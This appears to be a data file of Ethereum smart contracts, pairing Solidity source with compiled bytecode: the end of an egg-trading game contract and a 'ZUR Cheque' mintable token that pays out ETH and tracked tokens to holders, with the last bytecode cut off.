rs, uint256 bs) public view returns(uint256){ //(PSN*bs)/(PSNH+((PSN*rs+PSNH*rt)/rt)); return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt))); } function calculateEggSell(uint256 eggs) public view returns(uint256){ return calculateTrade(eggs,marketEggs,address(this).balance); } function calculateEggSell(uint256 eggs, uint256 eth) public view returns(uint256){ return calculateTrade(eggs,marketEggs,eth); } function calculateEggBuy(uint256 eth, uint256 contractBalance) public view returns(uint256){ return calculateTrade(eth,contractBalance,marketEggs); } function calculateEggBuySimple(uint256 eth) public view returns(uint256) { return calculateEggBuy(eth, address(this).balance); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6080604052600436106102195763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663053f14da811461021e5780630a0f81681461024557806312065fe014610276578063158ef93e1461028b5780631c484a34146102b45780631d66105b146102d05780632133e3b9146102d857806321a83738146102f3578063220c166c1461030b578063229824c41461032057806324dad8101461033e57806326fd84221461035f57806328cf540e1461037a5780632e9392bb1461039b578063333f57b3146103b057806336e33086146103c55780633955f0fe146103e65780633b653755146103fb5780633ec862a8146104065780633f58a0431461042757806343ce74221461043c578063467ece791461045157806347220f25146104725780636aa633b6146104875780636d19ce041461049c57806377463b50146104b15780637e56fde5146104c6578063827cc452146104de57806387d79f8a146104f65780638e316327146104fe5780638fcbeeb714610516578063911644fa1461052b57806391ea4d071461054057806393a95fa81461055557806394e23d361461056a5780639ca423b31461058b578063a98251b0146105ac578063c5292ed9146105cd578063c6601270146105e8578063c7888a07146105fd578063d55d1fed14610612578063d7c8843b14610627578063e2c1f02c14610648578063e69432c814610650575b600080fd5b34801561022a57600080fd5b50610233610665565b60408051918252519081900360200190f35b34801561025157600080fd5b5061025a61066b565b60408051600160a060020a039092168252519081900360200190f35b34801561028257600080fd5b5061023361067f565b34801561029757600080fd5b506102a0610684565b604080519115158252519081900360200190f35b3480156102c057600080fd5b506102ce600435151561068d565b005b6102ce6106f5565b3480156102e457600080fd5b50610233600435602435610789565b3480156102ff57600080fd5b506102336004356107a6565b34801561031757600080fd5b506102336107dd565b34801561032c57600080fd5b506102336004356024356044356107e3565b34801561034a57600080fd5b50610233600160a060020a036004351661082b565b34801561036b57600080fd5b5061023360043560243561083d565b34801561038657600080fd5b50610233600160a060020a036004351661084c565b3480156103a757600080fd5b5061023361085e565b3480156103bc57600080fd5b50610233610864565b3480156103d157600080fd5b50610233600160a060020a036004351661086a565b3480156103f257600080fd5b506102ce61087c565b6102ce60043561092a565b34801561041257600080fd5b506102ce600160a060020a036004351661094d565b34801561043357600080fd5b50610233610ade565b34801561044857600080fd5b50610233610ae4565b34801561045d57600080fd5b50610233600160a060020a0360043516610b09565b34801561047e57600080fd5b50610233610b1b565b34801561049357600080fd5b506102a0610b20565b3480156104a857600080fd5b50610233610b29565b3480156104bd57600080fd5b50610233610b2f565b3480156104d257600080fd5b50610233600435610b5f565b3480156104ea57600080fd5b506102ce600435610b72565b6102ce610beb565b34801561050a57600080fd5b50610233600435610c82565b34801561052257600080fd5b506102ce610c9b565b34801561053757600080fd5b50610233610cf1565b34801561054c57600080fd5b50610233610cf6565b34801561056157600080fd5b5061025a610cfc565b34801561057657600080fd5b50610233600160a060020a0360043516610d0b565b34801561059757600080fd5b5061025a600160a060020a0360043516610d1d565b3480156105b857600080fd5b50610233600160a060020a0360043516610d38565b3480156105d957600080fd5b50610233600435602435610d4a565b3480156105f457600080fd5b50610233610d59565b34801561060957600080fd5b506102ce610d6c565b34801561061e57600080fd5b50610233610dd7565b34801561063357600080fd5b50610233600160a060020a0360043516610ddd565b6102ce610e86565b34801561065c57600080fd5b50610233610fb8565b60015481565b6009546101009004600160a060020a031681565b303190565b60095460ff1681565b6009546101009004600160a060020a031633146106a957600080fd5b6004805460ff191691151591909117905560095460008054610100909204600160a060020a031673ffffffffffffffffffffffffffffffffffffffff1990921691909117905542600355565b600954600090819060ff16151561070b57600080fd5b336000908152600e6020526040902054151561072657600080fd5b336000908152600e6020526040902054610741903031610fdd565b915061074d3483611001565b90506000811161075c57600080fd5b61076734600a610789565b600a80549091019055336000908152600c602052604090208054909101905550565b600061079f6107988484611018565b6064611001565b9392505050565b336000908152600e60205260408120548015156107d3576107d06005546107cb610b2f565b611043565b90505b61079f8184610fdd565b60025481565b60006108236107f460075484611018565b61081e6008546107cb61081861080c6007548a611018565b6107cb6008548c611018565b89611001565b611001565b949350505050565b600f6020526000908152604090205481565b600061079f83836012546107e3565b600b6020526000908152604090205481565b60125481565b60135481565b600d6020526000908152604090205481565b6009546000908190819060ff16151561089457600080fd5b61089c610ae4565b92506108a783610c82565b91506108b4826002610789565b336000908152600f60209081526040808320839055601090915290204290556012549091506108e39084611043565b601255600a805482019055336108fc6108fc8484611052565b6040518115909202916000818181858888f19350505050158015610924573d6000803e3d6000fd5b50505050565b6012541561093757600080fd5b6009805460ff1916600117905560125542601355565b6009546000908190819060ff16151561096557600080fd5b33600090815260116020526040902054600160a060020a03161580156109a2575033600081815260116020526040902054600160a060020a031614155b156109dd57336000908152601160205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0386161790555b6109e5610ae4565b336000908152600e6020526040902054909350610a03908490611001565b336000908152600e6020526040902054909250610a21908390611018565b336000908152600d6020526040902054909150610a3e9083611043565b336000908152600d6020526040902055610a588382611052565b336000908152600f6020818152604080842094909455601081528383204290556011815283832054600160a060020a03168352522054610a9d906107cb83600a611001565b33600090815260116020908152604080832054600160a060020a03168352600f909152902055601254610ad5906107cb85600a611001565b60125550505050565b600a5481565b336000818152600f60205260408120549091610b0491906107cb90610ddd565b905090565b60106020526000908152604090205481565b601481565b60045460ff1681565b60065481565b600080610b3e42601354611052565b9050610b4c81610e10611001565b9050610b5981600a611018565b91505090565b6000610b6c82303161083d565b92915050565b6009546000906101009004600160a060020a03163314610b9157600080fd5b610b9d600a5483610789565b600a805482900390556009546040519192506101009004600160a060020a0316906108fc8315029083906000818181858888f19350505050158015610be6573d6000803e3d6000fd5b505050565b600954600090819060ff161515610c0157600080fd5b336000908152600e60205260409020541515610c1c57600080fd5b336000908152600e6020526040902054610c37903031610fdd565b6008029150610c463483611001565b905060008111610c5557600080fd5b610c6034600a610789565b600a80549091019055336000908152600b602052604090208054909101905550565b6000610b6c8260125430600160a060020a0316316107e3565b60095460ff161515610cac57600080fd5b336000908152600d602052604090205415610cc657600080fd5b336000908152601060209081526040808320429055600654600d90925290912055610cef611064565b565b600581565b60035481565b600054600160a060020a031681565b600c6020526000908152604090205481565b601160205260009081526040902054600160a060020a031681565b600e6020526000908152604090205481565b600061079f83601254846107e3565b336000908152600b602052604090205490565b60045460009060ff161515610d8057600080fd5b600054600160a060020a03163314610d9757600080fd5b610da342600354611052565b9050610db160025482611018565b60008054600160a060020a03168152600f60205260409020805490910190555042600355565b60055481565b600160a060020a03811660009081526010602052604081205481908190610e05904290611052565b600160a060020a0385166000908152600b6020526040902054909250610e2c90600a611018565b600160a060020a0385166000908152600c6020526040902054909150610e53908290611043565b600160a060020a0385166000908152600d6020526040902054909150610e7a908290611043565b90506108238282611018565b600454600090819060ff161515610e9c57600080fd5b60095460ff161515610ead57600080fd5b610ec8610ec06107986001546004611018565b600154611043565b9150348210610ed657600080fd5b610ee242600354611052565b9050610ef060025482611018565b60008054600160a060020a03168152600f6020526040902080549091019055601354610f2a90610f21904290611052565b62015180611001565b600280549091018155610f3e903490610789565b600a80549091019055600054600160a060020a03166108fc610f61346002610789565b34039081150290604051600060405180830381858888f19350505050158015610f8e573d6000803e3d6000fd5b50506001556000805473ffffffffffffffffffffffffffffffffffffffff19163317905542600355565b336000908152600d6020908152604080832054600c909252822054610b049190611043565b600080610fea8484610d4a565b9050610ff781608c610789565b91505b5092915050565b600080828481151561100f57fe5b04949350505050565b60008083151561102b5760009150610ffa565b5082820282848281151561103b57fe5b041461079f57fe5b60008282018381101561079f57fe5b60008282111561105e57fe5b50900390565b336000908152600e60205260409020541515610cef576110886005546107cb610b2f565b336000908152600e60205260409020555600a165627a7a7230582061f3d51ad5df25d8e1fd82a3733ff15f2ff6c03798996b2f3e5cd5d4c08cd58e0029
[ 4, 9 ]
0xf224706834749da2165743614db339a97f3e3244
pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: contracts/ZUR.sol /** * Holders of ZUR can claim COE as it is mined using the claimTokens() * function. This contract will be fed COE automatically by the COE ERC20 * contract. */ contract ZUR is MintableToken { using SafeMath for uint; string public constant name = "ZUR Cheque by Zurcoin Core"; string public constant symbol = "ZUR"; uint8 public constant decimals = 0; address public admin; uint public cap = 35*10**13; uint public totalEthReleased = 0; mapping(address => uint) public ethReleased; address[] public trackedTokens; mapping(address => bool) public isTokenTracked; mapping(address => uint) public totalTokensReleased; mapping(address => mapping(address => uint)) public tokensReleased; constructor() public { owner = this; admin = msg.sender; } function () public payable {} modifier onlyAdmin() { require(msg.sender == admin); _; } function changeAdmin(address _receiver) onlyAdmin public { admin = _receiver; } /** * Claim your eth. */ function claimEth() public { claimEthFor(msg.sender); } // Claim eth for address function claimEthFor(address payee) public { require(balances[payee] > 0); uint totalReceived = address(this).balance.add(totalEthReleased); uint payment = totalReceived.mul( balances[payee]).div( cap).sub( ethReleased[payee] ); require(payment != 0); require(address(this).balance >= payment); ethReleased[payee] = ethReleased[payee].add(payment); totalEthReleased = totalEthReleased.add(payment); payee.transfer(payment); } // Claim your tokens function claimMyTokens() public { claimTokensFor(msg.sender); } // Claim on behalf of payee address function claimTokensFor(address payee) public { require(balances[payee] > 0); for (uint16 i = 0; i < trackedTokens.length; i++) { claimToken(trackedTokens[i], payee); } } /** * Transfers the unclaimed token amount for the given token and address * @param _tokenAddr The address of the ERC20 token * @param _payee The address of the payee (ZUR holder) */ function claimToken(address _tokenAddr, address _payee) public { require(balances[_payee] > 0); require(isTokenTracked[_tokenAddr]); uint payment = getUnclaimedTokenAmount(_tokenAddr, _payee); if (payment == 0) { return; } ERC20 Token = ERC20(_tokenAddr); require(Token.balanceOf(address(this)) >= payment); tokensReleased[address(Token)][_payee] = tokensReleased[address(Token)][_payee].add(payment); totalTokensReleased[address(Token)] = totalTokensReleased[address(Token)].add(payment); Token.transfer(_payee, payment); } /** * Returns the amount of a token (tokenAddr) that payee can claim * @param tokenAddr The address of the ERC20 token * @param payee The address of the payee */ function getUnclaimedTokenAmount(address tokenAddr, address payee) public view returns (uint) { ERC20 Token = ERC20(tokenAddr); uint totalReceived = Token.balanceOf(address(this)).add(totalTokensReleased[address(Token)]); uint payment = totalReceived.mul( balances[payee]).div( cap).sub( tokensReleased[address(Token)][payee] ); return payment; } function transfer(address _to, uint256 _value) public returns (bool) { require(msg.sender != _to); uint startingBalance = balances[msg.sender]; require(super.transfer(_to, _value)); transferCheques(msg.sender, _to, _value, startingBalance); return true; } function transferCheques(address from, address to, uint cheques, uint startingBalance) internal { // proportional amount of eth released already uint claimedEth = ethReleased[from].mul( cheques).div( startingBalance ); // increment to's released eth ethReleased[to] = ethReleased[to].add(claimedEth); // decrement from's released eth ethReleased[from] = ethReleased[from].sub(claimedEth); for (uint16 i = 0; i < trackedTokens.length; i++) { address tokenAddr = trackedTokens[i]; // proportional amount of token released already uint claimed = tokensReleased[tokenAddr][from].mul( cheques).div( startingBalance ); // increment to's released token tokensReleased[tokenAddr][to] = tokensReleased[tokenAddr][to].add(claimed); // decrement from's released token tokensReleased[tokenAddr][from] = tokensReleased[tokenAddr][from].sub(claimed); } } /** * @dev Add a new payee to the contract. * @param _payees The addresses of the payees to add. * @param _cheques The array of number of cheques owned by the payee. */ function addPayees(address[] _payees, uint[] _cheques) onlyAdmin external { require(_payees.length == _cheques.length); require(_payees.length > 0); for (uint i = 0; i < _payees.length; i++) { addPayee(_payees[i], _cheques[i]); } } /** * @dev Add a new payee to the contract. * @param _payee The address of the payee to add. * @param _cheques The number of _cheques owned by the payee. */ function addPayee(address _payee, uint _cheques) onlyAdmin canMint public { require(_payee != address(0)); require(_cheques > 0); require(balances[_payee] == 0); MintableToken(this).mint(_payee, _cheques); } // irreversibly close the adding of cheques function finishedLoading() onlyAdmin canMint public { MintableToken(this).finishMinting(); } function trackToken(address _addr) onlyAdmin public { require(_addr != address(0)); require(!isTokenTracked[_addr]); trackedTokens.push(_addr); isTokenTracked[_addr] = true; } /* * However unlikely, it is possible that the number of tracked tokens * reaches the point that would make the gas cost of transferring ZUR * exceed the block gas limit. This function allows the admin to remove * a token from the tracked token list thus reducing the number of loops * required in transferCheques, lowering the gas cost of transfer. The * remaining balance of this token is sent back to the token's contract. * * Removal is irreversible. * * @param _addr The address of the ERC token to untrack * @param _position The index of the _addr in the trackedTokens array. * Use web3 to cycle through and find the index position. */ function unTrackToken(address _addr, uint16 _position) onlyAdmin public { require(isTokenTracked[_addr]); require(trackedTokens[_position] == _addr); ERC20(_addr).transfer(_addr, ERC20(_addr).balanceOf(address(this))); trackedTokens[_position] = trackedTokens[trackedTokens.length-1]; delete trackedTokens[trackedTokens.length-1]; trackedTokens.length--; } }
0x6080604052600436106101cd576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146101cf57806306fdde03146101fe578063095ea7b31461028e57806315e6b600146102f357806318160ddd1461036a57806318f9b0231461039557806323b872dd146103e25780632656455f14610467578063313ce567146104aa578063355274ea146104db57806339639fbd1461050657806340c10f191461054957806353844552146105ae57806358a3d1a114610601578063653b3a891461067857806366188463146106cf57806370a0823114610734578063715018a61461078b5780637d64bcb4146107a2578063820be89e146107d15780638305368a146108285780638da5cb5b146108955780638f283970146108ec578063937f2e331461092f57806395d89b4114610946578063a7be2648146109d6578063a9059cbb14610a27578063b2dda6b514610a8c578063b7cdddcb14610ab7578063ca31879d14610ace578063d73dd62314610b31578063dd62ed3e14610b96578063ee0b04be14610c0d578063f2fde38b14610c50578063f851a44014610c93578063f9dd711f14610cea578063fbc7ad3e14610d45575b005b3480156101db57600080fd5b506101e4610d5c565b604051808215151515815260200191505060405180910390f35b34801561020a57600080fd5b50610213610d6f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610253578082015181840152602081019050610238565b50505050905090810190601f1680156102805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029a57600080fd5b506102d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610da8565b604051808215151515815260200191505060405180910390f35b3480156102ff57600080fd5b50610354600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e9a565b6040518082815260200191505060405180910390f35b34801561037657600080fd5b5061037f610ebf565b6040518082815260200191505060405180910390f35b3480156103a157600080fd5b506103e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ec9565b005b3480156103ee57600080fd5b5061044d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110bc565b604051808215151515815260200191505060405180910390f35b34801561047357600080fd5b506104a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611477565b005b3480156104b657600080fd5b506104bf6116df565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104e757600080fd5b506104f06116e4565b6040518082815260200191505060405180910390f35b34801561051257600080fd5b50610547600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ea565b005b34801561055557600080fd5b50610594600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061189c565b604051808215151515815260200191505060405180910390f35b3480156105ba57600080fd5b506105ff600480360381019080803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390505050611a82565b005b34801561060d57600080fd5b50610662600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b72565b6040518082815260200191505060405180910390f35b34801561068457600080fd5b506106b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611da5565b6040518082815260200191505060405180910390f35b3480156106db57600080fd5b5061071a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611dbd565b604051808215151515815260200191505060405180910390f35b34801561074057600080fd5b50610775600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061204f565b6040518082815260200191505060405180910390f35b34801561079757600080fd5b506107a0612097565b005b3480156107ae57600080fd5b506107b761219c565b604051808215151515815260200191505060405180910390f35b3480156107dd57600080fd5b50610812600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612264565b6040518082815260200191505060405180910390f35b34801561083457600080fd5b506108536004803603810190808035906020019092919050505061227c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108a157600080fd5b506108aa6122ba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108f857600080fd5b5061092d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122e0565b005b34801561093b57600080fd5b50610944612380565b005b34801561095257600080fd5b5061095b61238b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561099b578082015181840152602081019050610980565b50505050905090810190601f1680156109c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156109e257600080fd5b50610a25600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803561ffff1690602001909291905050506123c4565b005b348015610a3357600080fd5b50610a72600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061279e565b604051808215151515815260200191505060405180910390f35b348015610a9857600080fd5b50610aa1612849565b6040518082815260200191505060405180910390f35b348015610ac357600080fd5b50610acc61284f565b005b348015610ada57600080fd5b50610b2f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061285a565b005b348015610b3d57600080fd5b50610b7c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612c8d565b604051808215151515815260200191505060405180910390f35b348015610ba257600080fd5b50610bf7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e89565b6040518082815260200191505060405180910390f35b348015610c1957600080fd5b50610c4e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f10565b005b348015610c5c57600080fd5b50610c91600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fcc565b005b348015610c9f57600080fd5b50610ca8613034565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610cf657600080fd5b50610d2b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061305a565b604051808215151515815260200191505060405180910390f35b348015610d5157600080fd5b50610d5a61307a565b005b600360149054906101000a900460ff1681565b6040805190810160405280601a81526020017f5a555220436865717565206279205a7572636f696e20436f726500000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600b602052816000526040600020602052806000526040600020600091509150505481565b6000600154905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f2557600080fd5b600360149054906101000a900460ff16151515610f4157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f7d57600080fd5b600081111515610f8c57600080fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141515610fd957600080fd5b3073ffffffffffffffffffffffffffffffffffffffff166340c10f1983836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561107c57600080fd5b505af1158015611090573d6000803e3d6000fd5b505050506040513d60208110156110a657600080fd5b8101908080519060200190929190505050505050565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561110b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561119657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111d257600080fd5b611223826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461319490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ad90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673fff